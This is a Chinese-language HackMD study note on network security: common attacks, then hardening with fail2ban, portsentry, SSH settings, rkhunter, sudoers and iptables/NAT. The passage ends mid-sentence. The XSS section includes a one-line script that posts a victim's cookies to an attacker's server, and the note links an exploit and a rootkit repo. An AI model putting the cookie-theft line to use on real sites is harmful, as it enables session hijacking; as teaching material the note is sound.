YellowFish
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # 網路安全 - Book mode: https://hackmd.io/@ncnu-opensource/book [TOC] ## 網路安全是什麼 - 對一般人來說,對網路安全比較常聽到的是 帳密被盜導致被亂登入、中了勒索病毒導致檔案都打不開、最近 fb 留言區常常會看到的奇怪連結等等。 而對於網管人員來說,可能會是遠端登入主機的安全性和一些常用服務的版本安全性等等。 這些都是網路安全的一部分,我們接下來會介紹其一點點運作的原理和要如何預防。 ## 常見的攻擊手法 ### 社交工程 - 利用人性弱點,應用簡單的溝通和欺騙技倆 - ex. - 給我帳號密碼,我幫你儲值 - 恭喜你中獎了,點擊這個網站來領獎 - 防範方式 - 多查證,不要輕易地給別人帳號密碼 - 不要亂點網站、檔案 ### 暴力破解 - 從 1 個字開始猜,每個字元都試試看 - 防範方式 - 帳號密碼取難一點,不要用預設的密碼 - 密碼複雜度 - 假設密碼長度 = x, 可能的字元為 y 如果字元是由英文大小寫和數字組成, y = 62 密碼長度為 10 個字元 總共要嘗試的就會是 $62^{10}$ - 所以其實也不需要用到像 google 那種建議的複雜密碼,基本上長度夠長(大概 8 個字)的英數字組合,其實複雜度就很高了 - 密碼種類 - 會有一個根基密碼,再依據不同網站加不同的字元 - ex. 根基密碼 = 123, 如果是 google 的帳號就是 google123 - 由多組密碼組成一組密碼 - ex. 共有三組,[ab, cd, ef],就可能是 abcd, abef.. - 由一句句子組成 - ex. iamgood - fail2ban 限制次數 ### 字典攻擊 - 用一般常用的單字(ex. admin、test)、該 ip 所處的地區的常用的單字猜,例如台灣可能就是 wang、lin - 防範方式 - 帳號密碼取難一點,不要只有常見的單字組成 - fail2ban 限制次數 ### 零時差攻擊 - 利用套件的漏洞(Vulnerability),且使用者還沒有更新到修補後的版本(patch),去攻擊(exploit),並執行惡意的程式碼(payload) - 小實驗 - https://www.exploit-db.com/exploits/50580 - 常見漏洞的種類 - RCE (Remote code Execution) - 遠端執行命令 - ex. eval - XSS (Cross-Site-Scripting) - 讓網站執行一些惡意的 javascript - 盜取 cookie 再用 ajax or axios 等等回傳到攻擊者的 server,使用者也不會發現 ```javascript= axios.post(url, {'cookie':document.cookie}); ``` - 實際範例的教學 - https://xss-game.appspot.com/level1 - 防範方式 - server 管理員 - 把 < > 編碼, 不要讓前端直接執行 tag - CSRF (Cross-Site Request Forgery) - 利用社交工程,讓受害者點惡意網站,惡意網站裡面去抓受害者的 cookie,再發 request(可以用 ajax、axios 就不會跳轉,讓受害者無法發現) 到那個 cookie 對應的網站做一些有了受害者權限才能做的事 ![](https://i.imgur.com/EtnD0WO.png) image source : https://dotblogs.com.tw/joysdw12/2013/09/16/asp-net-cross-site-request-forgery - ex. 某個網站的 form 用 get - https://example.com/delete?id=3 - 防範方法 - 一般使用者 - 不要點奇怪的網站 - 盡量不要保持登入,登入完就登出(clear cookie) - server 管理員 - 檢查是否是在相同 domain 下送出的 request - 就不能跨站送 request 了 - csrf token - 每個 form 每次新的頁面都會有一組 token,後端會先驗證此 token 是否一致 ## 得到主機資源可以幹什麼 - 加密資料後勒索 - 預防方式 - 備份 - 可以被拿來當作 mail server 的跳板機,一直送垃圾或病毒郵件給別人 - 處理方式 : - 用防火牆把對外的一些 port 先關掉 - `sudo netstat -anpt` : 看一下是否有奇怪的 port 有大量流量一直到奇怪的 ip 的 25 port(mail server) - `sudo ps aux | grep program_name` : 找後門那隻後門程式的位置 - 被拿來挖擴 - 處理方式 : - 用防火牆把對外的一些 port 先關掉 - `sudo netstat -anpt` : 看一下是否有奇怪的 port 有大量流量一直到奇怪的 ip 的 443 port - `sudo ps aux | grep program_name` : 找後門那隻後門程式的位置 ## 簡單檢查 - 有空看一下有沒有奇怪的程式在跑 - `ps aux` - 看一下 cpu、記憶體 - `top` - 查看版本的漏洞 CVE detail : https://www.cvedetails.com/ - exploit 的程式資料庫 - www.exploit-db.com - 檢查有沒有被當作跳板機 - 如果主機被當作跳板機去攻擊別人,可能會被別人 ban 掉,所以可以藉由這個去看是否有在攻擊別人 - 中間的 ip 換成要檢查的 : https://www.blocklist.de/en/view.html?ip=163.22.17.179&cronjob=refreshcache - reference - https://www.webteach.tw/?p=3162 - reference - https://kknews.cc/code/le8ggjg.amp - https://ithelp.ithome.com.tw/articles/10291231 - https://medium.com/hannah-lin/zero-day-%E9%9B%B6%E6%99%82%E5%B7%AE%E6%94%BB%E6%93%8A-55bb3843ec9f - https://www.youtube.com/watch?v=MMMkvHwqPRY&t=1560s - https://ithelp.ithome.com.tw/users/20115853/ironman/3371 - https://security.stackexchange.com/questions/34419/what-is-the-difference-between-exploit-and-payload - https://wordpress.stackexchange.com/questions/231797/what-is-nonce-and-how-to-use-it-with-ajax-in-wordpress ## fail2ban - 介紹 - 就像上面提到,攻擊者可以藉由暴力破解來找到真正的帳號密碼,因為若沒有限制失敗的次數,攻擊者就可以一直試,所以需要這個工具去限制失敗的次數。 - 不過通常也不會限制一次失敗就不能登入,因為可能是正常的使用者不小心打錯了。 - 安裝 : `sudo apt install fail2ban` - 啟動 : `sudo systemctl start fail2ban` - 預設會先保護 sshd - ssh daemon(守護神) 相當於 ssh 的 server,會一直跑在後台讓 client 可以 ssh 進來 - 開機啟動 : `sudo systemctl enable fail2ban` - 設定檔 : - 預設路徑 : /etc/fail2ban/jail.conf - 先複製設定檔成 jail.local,因為如果更新 fail2ban,jail.conf 會被更新,而且 jail.local 會覆蓋 jail.conf,所以以後的設定檔就直接去改 jail.local 就可以: - `sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local` - [default] 是所有服務共用的設定,如果是針對特定的服務如 [sshd],若有重疊的部分會直接覆蓋 [default] 的。但若要啟用特定服務,要把 enabled = true。 - ex. sshd ```conf= [DEFAULT] ignoreip = 127.0.0.1/8 999.999.999.0/24 888.888.888.0/24 [sshd] enabled = true port = ssh # 如果 ssh 開在別的 port 這邊要改成改的 port filter = sshd logpath = /var/log/auth.log maxretry = 5 findtime = 600 bantime = 1200 ``` - 限制設定 : - ex. 預設 : 在 10 分鐘內(findtime) 登入失敗次數超過 5 次(maxretry),就 ban 10 分鐘(bantime) ![](https://i.imgur.com/1Ba2iAn.png) - 沒寫單位是秒,分鐘是 m,小時是 h,天是 d - 白名單 : 有多個就用空白隔開 ```config= ignoreip = 192.168.56.1 192.168.56.2 ``` ![](https://i.imgur.com/64OLEQk.png) - filter - 路徑 : /etc/fail2ban/filter.d - 用途 : 用來過濾哪一些是此服務失敗的條件(failregex),fail2ban 預設會有各種服務(ex. ssh、nginx)的 filter 檔 - ex. ssh 的過濾條件 - ![](https://i.imgur.com/rbVjhFJ.png) - ![](https://i.imgur.com/Jccu8Nm.png) - filter 檔的 python regex 語法 - 基本語法 - ^ : 比對字串的開始位置 - $ : 比對字串的結束位置 - ? : 問號前的字元可以出現 0 次或一次。 - ex. colou?r = colour、color - 教學 : - https://docs.python.org/3/library/re.html - https://www.cyut.edu.tw/~ckhung/b/re/ - http://it-life.puckwang.com/2016/03/regular-expression.html - action - 用途 : 用來決定超過 maxretry 後要採取的行為,預設是只有封鎖 ip - 寄信 : - 兩種不同寄信內容 - action_mw : 封鎖後寄信通知 - action_mwl : 信還會含有whois資訊 - 更改 action : `sudo vi /etc/fail2ban/jail.local` - ![](https://i.imgur.com/J4lzoLR.png) - 更改寄達信箱 : `sudo vi /etc/fail2ban/jail.local` - ![](https://i.imgur.com/6RSkz72.png) - 結果 - ![](https://i.imgur.com/m99WK2i.png) - 查看 fail2ban 管理的項目 `sudo fail2ban-client status` ex. 目前有 ssh 被管理 ![](https://i.imgur.com/VaXU5CX.png) - 查看被管理的項目的狀況(包括哪些 ip 被鎖) - `sudo fail2ban-client status sshd` ![](https://i.imgur.com/cYe61dv.png) - 可以去 /var/log/auth.log 看被登入的狀況(成功和失敗都會記錄) - 查看被鎖的 ip 和時間(起始到結束) : `sudo fail2ban-client get sshd banip --with-time` - 手動解鎖 ip : - 單一 : `sudo fail2ban-client set sshd unbanip x.x.x.x` - 全部 : `sudo fail2ban-client set sshd unbanip --all` - 手動增加要封鎖的 ip : - `sudo fail2ban-client set sshd banip a.a.a.a x.x.x.x` - 手動調整白名單 : - 新增 : `sudo fail2ban-client set sshd addignoreip x.x.x.x` - 刪除 : `sudo fail2ban-client set sshd delignoreip x.x.x.x` - reference - https://crowsnest1217.com/%E5%AD%B8%E7%BF%92%E8%88%87%E5%88%86%E4%BA%AB/fail2ban-setting.html - https://newtoypia.blogspot.com/2016/04/fail2ban.html - https://net.nthu.edu.tw/2009/security:fail2ban ## portSentry - 介紹 - 因為攻擊者可以用 nmap 之類的軟體掃主機的 port,會暴露主機的一些資訊,ex. 某些 port 可以被掃出來是哪些服務、主機的資訊(ex. os) 所以要對主機是否被掃描做監控,就可以利用這個工具。 - 安裝 - `sudo apt install portsentry` - 啟動 - `sudo systemctl start portsentry` - `sudo portsentry -atcp` - -a : 會檢查主機是否有正在用要檢查的 port,若有就不要監聽該 port - 設定檔 - path : `/etc/portsentry/portsentry.conf` - 針對 tcp、udp 的掃描進行動作。 - ![](https://i.imgur.com/rvsvbSk.png) - 0 : 不要限制掃描 - 1 : 限制掃描(通常是用這個) - 2 : 用自己寫的腳本對掃描進行處置 - 要監聽的 port - 有在用的 port 不要監聽。ex. 80 443 - 基本上用下面這個推薦的就夠了 - ![](https://i.imgur.com/eJQ1oBB.png) - 對於攻擊者如何處理 - 直接用防火牆把該 ip 的封包都 drop掉 ![](https://i.imgur.com/qsxqxi2.png) - 結果 - 受害者 - ![](https://i.imgur.com/4hOXPfG.png) - 把攻擊 ip 加入 /etc/hosts.deny - ![](https://i.imgur.com/lfIU0dB.png) - 結果 - 受害者 - ![](https://i.imgur.com/kRsyJtu.png) - 攻擊者 - ![](https://i.imgur.com/eBKt7Yu.png) - ignore 檔 - path : `/etc/portsentry/portsentry.ignore.static` - 因為 `/etc/portsentry/portsentry.ignore` 會因 restart 而刷新,然後會依 static 檔建一個新的 - 新增白名單 ip - ![](https://i.imgur.com/8rTlgMX.png) - log - path - `/var/lib/portsentry/` - portsentry.blocked.tcp - 現在 block 的紀錄(會因 restart 而刷新) - ![](https://i.imgur.com/JF5RGr9.png) - portsentry.blocked.udp - 現在 block 的紀錄(會因 restart 而刷新) - portsentry.history - 過去到目前 block 的紀錄 - ![](https://i.imgur.com/6yd4ZZz.png) - refernence - https://hackmd.io/@ncnu-opensource/B17djyQs8#PortSentry ## 更改 ssh 登入限制 ### 更改 ssh port - 理由 - 預設的 22 port 容易被駭客用暴力破解一直攻擊,雖然有些還是會逐 port 找,但相對較安全 - ex. 一個有對外 ip 的主機開個幾個小時 - ssh port 在 22,基本上都是中國的 ip ![](https://i.imgur.com/IzEIXFh.jpg) - ssh port 在其他 port ![](https://i.imgur.com/5keCLZa.png) - 更改方式 - 決定要換的 port - 因為有些掃描主機的工具(ex. nmap)預設是掃描 1~1023 比較常用的 port,所以推薦改成 1024~65535。 - nmap - 可以掃描一台主機有哪些 port 是對外開放的 - 安裝 - `sudo apt install nmap` - 預設掃描的 port : 1-1023 - 常用參數 - -p : 指定掃的 port - 單個 : `nmap -p 80 192.168.1.1` - 範圍 : `nmap -p 80-200 192.168.1.1` - -A : 作業系統與各種服務的版本 - reference - https://blog.gtwang.org/linux/nmap-command-examples-tutorials/ - 先找找看要換的 port 是不是有在用了 - ex. 要換用 21042 : `sudo netstat -tupln | grep 21042` - 改成要換的 port - `sudo vi /etc/ssh/sshd_config` - ![](https://i.imgur.com/unwWECj.png) - 開防火牆 port,我是用 ufw - 如果還沒開 : `sudo ufw enable` - 記得加一些會用的 port,ex. 443, 80 - 看一下 : `sudo ufw status` - 加入新的 ssh 的 port : `sudo ufw allow 21042/tcp` - `sudo ufw reload` - `sudo service sshd restart` - reference - https://www.cyberciti.biz/faq/howto-change-ssh-port-on-linux-or-unix-server/ - https://xenby.com/b/258-%E6%95%99%E5%AD%B8-ufw-%E9%98%B2%E7%81%AB%E7%89%86%E8%A8%AD%E5%AE%9A%E8%BB%9F%E9%AB%94%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97 ### 限制 ssh 登入 ip - 一般規則 - 語法 - sshd(其他服務也可):(ip/netmask) - /etc/hosts.allow : 可通過的 ip ```config= sshd:163.22.32.0/255.255.255.0 163.22.17.179 ``` - /etc/hosts.deny : 要擋掉的 ip ```config= sshd:ALL ``` - 兩個檔案規則都不符合 : 通過 - 另一種寫法,都寫在一起 - `sudo vi /etc/hosts.allow` - 語法 - sshd:(ip/netmask):(allow||deny) - ex. - ![](https://i.imgur.com/2BKMjUf.png) - reference - https://hackmd.io/@ncnu-opensource/B17djyQs8#%E7%99%BC%E7%8F%BE%E5%95%8F%E9%A1%8C%E5%88%86%E6%9E%90-log- ### ssh 取消密碼登入,只能用金鑰 - 理由 - 開著 port 讓別人連總是有一點點風險 - 產生金鑰 : `ssh-keygen -t rsa` - 私鑰(自己留) : `.ssh/id_rsa` - 公鑰(給別人) : `.ssh/id_rsa.pub` - 伺服器端加入本地的公鑰 : - 複製本地的公鑰 : `sudo vi ~/.ssh/id_rsa.pub` - 貼到伺服器端 :`sudo vi ~/.ssh/authorized_keys` - 拒絕用密碼登入 - `sudo vi /etc/ssh/sshd_config` - `PasswordAuthentication no` - ![](https://i.imgur.com/tjjJ52j.png) - `sudo service ssh restart` - 結果 - ![](https://i.imgur.com/OJZcTSG.png) - reference - https://newtoypia.blogspot.com/2017/04/watertight-ssh.html - https://hackmd.io/@ncnu-opensource/book/https%3A%2F%2Fhackmd.io%2F7kiV5QwqT3y7L46EZF8DQQ#%E4%BD%BF%E7%94%A8%E6%86%91%E8%AD%89%E4%BE%86%E9%81%A0%E7%AB%AF%E9%80%A3%E7%B7%9A ## Rootkit - rootkit : 藉由機器上某些服務的漏洞來取得 root 權限的程式,可能藉由改某些程式(ex. ps 等)來隱藏自己 - 如何隱藏 - 如果取得 root 權限,可以藉由載入惡意模組(可以過濾掉特定 pid),重新編譯核心,然後再呼叫惡意模組,輸入要過濾掉的 pid - reference - https://github.com/DanielNiv/Process-Hiding-Rootkit - 若中了的解決方法 : 因 rootkit 善於隱藏,所以只能備份後重灌系統 ### rkhunter - 找 rootkit 方式 - 利用檔案獨有的指紋資料(md5 編碼),rkhunter 一開始會有各種服務的原始的指紋資料,只要檔案有被動任何一個字,就會和原本的編碼不一樣。 - md5 : 雜湊,相同內容會得到同一組編碼,不相同內容很大機率不會得到同組編碼 - ![](https://i.imgur.com/CD6pBfs.png) - reference - https://ithelp.ithome.com.tw/articles/10193762 - 檢查重要二進位檔案的權限 : - 因為系統實際在執行的是編譯後的二進位檔案,這些通常會是 755 的權限,不能被其他人更改。但 rootkit 為了要方便控制系統,所以可能直接改這些二進位的檔案的權限成 777 - 檢查隱藏檔案(.xxx) - ![](https://i.imgur.com/Mol61iZ.png) - 檢查有沒有被奇怪的程式占用的 port - 檢查有沒有特定惡意程式的檔名或目錄 - 安裝 - `sudo apt install rkhunter` - 執行 - `sudo rkhunter` - 常用參數 - `--checkall (-c)` : 全系統全部項目都檢測 - `-cronjob` : 用 crontab 自動跑 - ex. 每天 8 點 30 分執行一次 - `30 8 * * * rkhunter --checkall --cronjob` - `--report-warnings-only` : 只報出有問題的,正常的不顯示 - `--skip-keypress` : 自動執行,不用一部分檢查完再按 enter 才能檢查下一部分 - `--versioncheck` : 用最新版的 rkhunter - reference - https://linux.vbird.org/linux_server/others/0420rkhunter.php#whatisrk ## sudoers ### 概述 * 在有 sudo 之前是用`su`切換到超級使用者,但必須知道超級使用者的密碼,而且用 su 的話身分會變成超級使用者,無法追查真正的使用者,用 su 也無法管理各使用者能做什麼事 * 有 sudo 之後只需在下指令後輸入使用者自己的密碼 * sudoers 紀錄使用者或群組是否有以 sudo 執行對應指令的權限 * sudo 運作流程: 1. 使用者以 sudo 執行指令時,會先讓使用者輸入自己的密碼 2. 密碼輸入成功後系統會去 /etc/sudoers 裡找這個使用者是否有以 sudo 執行這個指令的權限 3. 確認有權限執行才會用 sudo 執行指令,否則會報錯 * 沒被列在 sudoers 裡 : ![](https://i.imgur.com/bhz4dOx.png) ### 使用方法 #### 方法1 : * 先用`su`切換超級使用者 * 用`visudo`編輯 /etc/sudoers * visudo 會用系統設定的編輯器開啟 /etc/sudoers,保存後會自動偵錯,避免指令錯誤 * 更改使用編輯器 : `sudo update-alternatives --config editor` #### 方法2 : * 把使用者加到 sudo 群組 (不建議) :::warning `sudo adduser tommy sudo` ::: ### sudoers 規則 ![](https://i.imgur.com/GjtIFrE.png) |使用者名稱|主機名稱|可切換的帳號:群組|可執行指令的執行檔絕對路徑 |-----|----|--------|------| |root|ALL|(ALL:ALL)|ALL * 可以在指令後面接針對的參數 * 個別帳號設定如上 * 群組設定則在使用者名稱前面加% * 如果有多個符合條件的情況(該使用者有符合使用者也符合群組,那會以最後一筆條件為準) ![](https://i.imgur.com/70Jo0bA.png) ### 新增規則 * 讓使用者 user1 可以執行 sudo iptables ``` user1 ALL=(ALL:ALL) /usr/sbin/iptables ``` * 讓使用者 user1 可以不用輸入密碼下 sudo (不安全) ``` user1 ALL=(ALL:ALL) NOPASSWD:ALL ``` * 讓使用者 user1 只能更改除了 root 使用者的密碼 ``` user1 ALL=(ALL:ALL) !/usr/bin/passwd, /usr/bin/passwd [A-Za-z0-9]*, !/usr/bin/passwd root ``` * `!`表示不能執行後面的指令,所以 user1 可以執行`sudo passwd {其他user}`,但不能執行`sudo passwd` 和 `sudo passwd root`(這兩個指令都是指修改 root 密碼) ### reference * https://linux.vbird.org/linux_basic/centos7/0410accountmanager.php * https://www.digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file * https://jerrynest.io/xxx-is-not-in-the-sudoers-file/ * https://askubuntu.com/questions/100051/why-is-sudoers-nopasswd-option-not-working ## iptables ### 概述 * Linux 上的防火牆套件 * 防火牆 : 過濾封包,保護我們的網路環境 * 利用 Linux kernel 的 Netfilter 框架來實現過濾封包(阻擋或允許)、轉傳封包、或是更改封包內容等防火牆功能 * iptables 處理 IPv4 封包, IPv6 封包則是用 ip6tables ### 架構 * 表(table)、鏈(chain)、規則(rule) * table 裡有 chain,chain 裡有 rule,每條 rule 都有一個 target ### 運作流程範例 ![](https://i.imgur.com/X3x5Wm4.png) ### table 總共有 5 種 table * filter : 預設使用的表,用於過濾封包(常用) * nat : 用於 IP 或 port 轉換(常用) * mangle : 用於修改封包內容(ex : 改封包 header) * [raw](https://lyt0112.pixnet.net/blog/post/319947973-iptables%E5%9B%9B%E5%80%8B%E8%A1%A8%E8%88%87%E4%BA%94%E5%80%8B%E9%8F%88%E9%96%93%E7%9A%84%E9%97%9C%E4%BF%82) : 用於停止追蹤封包 * security : 用於設定 SELinux 對單個封包或整個連線的處理 :::info ### [SELinux](https://linux.vbird.org/linux_basic/centos7/0440processcontrol.php#selinux) (Security Enhanced Linux) : * 安全式增強 Linux * 主要用於 RedHat、Fedora * 是除了判斷 rwx 權限的另一層防護,檢查 process 是否有權限去存取資源 * 為了避免開放服務的rwx設成777導致服務的process能任意存取其他檔案 * Subject (process) 要取得 Object (資源) 的流程 : ![](https://i.imgur.com/fHLjxDQ.gif) * Subject 如果通過設定的 Policy,會再比對兩者的 Security Context(安全性本文)是否都有紀錄彼此,都通過才能存取到 Object * Security Context 是用標記來分辨 Subject 和 Object * Security Context : 紀錄什麼類別的 Subject 可以存取什麼類別的 Object , 什麼類別的 Object 可以被什麼類別的 Subject 存取 * SELinux 模式 : * Disable : 關閉,不會限制存取 * Permissive : 寬容模式,跟關閉一樣不會限制存取,但會記錄 log * Enforcing : 強制模式,會限制存取 ![](https://i.imgur.com/zbG3aLq.jpg) ![](https://i.imgur.com/H3JcKJn.jpg) ### AppArmor * 主要用於 Ubuntu、SUSE * 比 SELinux 簡單 * 以檔案路徑來分辨檔案 * 以 process 絕對路徑為名稱建立規則設定檔 (在 /etc/apparmor.d 目錄下) * 通過規則的 process 才能存取到資源 * AppArmor 模式 : * Complain/Learning : 學習模式,不會限制存取,但會記錄log * Enforce : 執行模式,會限制存取 ![](https://i.imgur.com/Y4XN2b8.png) ::: ### chain 總共有 5 種 chain * INPUT : 進入主機的封包 * OUTPUT : 主機送出的封包 * FORWARD : 轉送 (不會進入本機) 的封包 * PREROUTING : 進行路由前 (封包決定要往哪邊走之前) * POSTROUTING : 進行路由後 (封包決定要往哪邊走之後) ![](https://i.imgur.com/zIHqiY8.png) * filter OUTPUT和nat OUTPUT差異 : * filter OUTPUT : 是否同意封包從主機出去 * [nat OUTPUT](https://superuser.com/questions/1228091/what-do-input-and-output-chains-in-nat-table-do) : 封包要從哪裡出去 ### rule * 設定給 iptables 的條件,若符合該 rule 就會執行相應的 action ![](https://i.imgur.com/GpE5clw.png =300x) > 若符合排在前面的 rule ,就會去執行相應的 action ,不會再往下去執行(類似 if , else if) ### policy * 預設封包處理方式,如果都沒有符合的 rule 就會執行這裡 ### target * 進行的動作 * ACCEPT : 允許 * REJECT : 拒絕,會告知發送者封包被拒絕 * DROP : 丟掉,發送者不會知道 * SNAT : 修改封包來源 IP * DNAT : 修改封包目的 IP * MASQUERADE : 動態 SNAT * LOG : 紀錄連線到 log * RETURN : 返回進入的 rule 位置,繼續判斷下面的 rule ### 操作 * 所有指令都要加 sudo * why? 因為操作 iptables 要使用到 kernel 的 Netfilter , 所以要用超級使用者權限才能操作 #### 查看 rule ``` sudo ipatables [-t table] -L [-nv --line-numbers] ``` * `-t` : 選擇 table,預設是 filter * `-L` : 列出 rule * `-n` : 不把 IP 位址解析成域名,所以速度較快 * `-v` : 列出更多資訊 * `--line-numbers` : 顯示編號 ![](https://i.imgur.com/IUq1qWD.png) * target : 進行的動作 * prot : 針對的封包使用的協定 * opt : 額外選項說明 * source : 針對的來源 IP * destination : 針對的目的 IP #### 更改 policy ``` sudo iptables [-t table] -P <INPUT, OUTPUT, FORWARD...> <ACCEPT, DROP, ...> ``` * `-t` : 選擇 table * `-P` : policy , 後面接 chain 和 target * 把 filter table 的 INPUT policy 更改為 DROP ![](https://i.imgur.com/wHxwio8.png) ![](https://i.imgur.com/Xk1Lsak.png) #### 新增rule ``` sudo iptables [-t table] [-A or -I] <INPUT, OUTPUT,FORWARD...>\ -j <ACCEPT, DROP, REJECT> [-i -o -p -s -d...] ``` * `-t` : 選擇 table,後面接 table 名稱 * 新增 * `-A` : append,規則加在最後面,後面接 chain 名稱 * `-I` : insert,規則加在最前面,後面接 chain 名稱 * 動作 * `-j` : jump,後面接動作(target) * 網卡 * `-i` : in interface,封包從哪個網卡進來 * `-o` : out interface,封包從哪個網卡出去 * IP位址 * `-s` : source address,封包來源IP位址 * `-d` : destination address,封包目的IP位址 * `!` : 可用在 -s 和 -d 之後,表示非該 IP * 協定 * `-p` : protocol,封包使用什麼協定(tcp、udp、ICMP...) * port,當 -p 指定 tcp 或 udp 時可以使用 * `--sport` : source port,封包來源 port * `--dport` : destination port,封包目標 port * 模組 * `-m` : 呼叫模組,ex: conntrack 模組 * 記錄連線狀態 * NEW : 新建立的連線 * ESTABLISHED : 已建立的連線(雙向都得到回應) * RELATED : 新的連線,但與已建立的連線相關 * INVALID : 無法辨認或惡意的連線 * UNTRACKED : 在 raw 表已被關閉追蹤 * 範例 : ![](https://i.imgur.com/wi1hXY0.png =300x) * iptables 在 http server 主機上,對外網卡是 eth1 * 讓 Good user 可以連線到 http server ``` sudo iptables -A INPUT -i eth1 -s 192.168.0.101 -j ACCEPT ``` * 讓 Bad user 無法連線到 http server ``` sudo iptables -A INPUT -i eth1 -s 192.168.0.102 -j DROP ``` #### 刪除 rule * `-D` : Delete,刪除 chain 裡對應編號的 rule ``` sudo iptables [-t table] -D <INPUT,OUTPUT,FORWAED...> <rule 編號> ``` * `-F` : Flush,清除 chain 裡全部的 rule ``` sudo iptables [-t table] -F <INPUT,OUTPUT,FORWARD...> ``` #### 儲存 iptables 設定 * iptables 不會自動保存和載入設定,關機就會消失 * 把設定 save 到檔案裡再 restore 回去 * 先建立檔案 iptables.conf * `iptables-save` 可以輸出 iptables 目前的設定 * `iptables-save > iptables.conf` 把輸出的結果寫入 iptables.conf * `iptables-restore < iptables.conf` 把 iptables.conf 的內容載入到 iptables * 或是用 [iptables-persistent](https://magiclen.org/ubuntu-server-iptables-save-permanently/) * `sudo apt install iptables-persistent` * `sudo bash -c "iptables-save > /etc/iptables/rules.v4"` * 會在開機時自動載入 iptables 設定 #### iptables-apply * 嘗試設定新的 iptables 規則,會詢問使用者 y/N,選 y 就會套用,選 N 或太長時間沒回應就會變回舊的 * `sudo iptables-apply iptables設定檔` * 預設 rulefile (iptables-save 輸出的內容) 路徑 : /etc/network/iptables.up.rules * 可以避免使用 ssh 連線到主機設定時不小心把 ssh 連線 DROP 掉的情況 ### NAT > Network Address Translation > 內網和外網 IP 位址之間的轉換 > 可以讓多個內網 IP 主機共用一個外網 IP ![](https://i.imgur.com/AGAcKFX.png) * IPv4 的位址數量不夠用 -> 使用內網 IP * 外網 IP 無法連線內網 IP (找不到) -> NAT 來轉換 * 主要有 SNAT、DNAT、MASQUERADE #### SNAT > Source NAT > 在路由後(POSTROUTING)將來源 IP 從內網 IP 位址修改為 NAT 主機的外網 IP 位址 ##### 情境 : 內網主機(192.168.1.100)要連線到外網(域名 tw.yahoo.com) ![](https://i.imgur.com/BbOi9ph.png) 1. 來源 192.168.1.100 傳遞封包給NAT主機 2. NAT 發現目的地不是內網,透過路由轉到外網網卡 3. 因為內網和外網不能互通,所以透過POSTROUTING 把來源 IP 從內網 IP 換成外網 IP ,同時會將這兩個來源 IP 寫入暫存記憶體 ##### 情境 : 外網(域名tw.yahoo.com)回傳封包給內網主機(192.168.1.100) ![](https://i.imgur.com/yZAnOim.png) 4. 來源外網傳遞封包給 NAT 主機 5. NAT 主機收到外網的回應封包後,會分析封包的序號,並比對前面存到暫存記憶體的資料,就會發現這個封包是內網主機(192.168.1.100)之前傳送出去的,就會透過 PREROUTING 把目的 IP 從外網 IP 改成內網主機的 IP 192.168.1.100 6. 封包會傳送到 192.168.1.2 這個內網網卡,然後再傳送到目的地192.168.1.100 的內網主機(完成連線!) #### MASQUERADE > 動態SNAT * SNAT 是靜態的,必須在 rule 手動設定外網 IP * 如果外網 IP 變動,SNAT 就需要手動去修改(很麻煩) * MASQUERADE 會自己去找能連上外網的網卡,它的外網 IP 是多少來當作 SNAT 的來源 IP #### DNAT > Destination NAT > 在路由前(PREROUTING)將來自外網訪問的目的 IP 位址從外網 IP 位址修改為內網主機的IP位址,就能讓外網連線到內網的主機 ##### 情境 : 外網主機(61.xx.xx.xx)發送請求給 NAT 主機的80 port (對應到內網主機(192.168.1.210) 的 80 port 上的 WWW 服務) ![](https://i.imgur.com/Yfu3Dja.png) 1. 外部主機要連到WWW服務,需要先連到NAT主機上 2. NAT 主機已經有設定要分析 80 port 的封包,所以當它接收到封包後,會用 PREROUTING 將目的 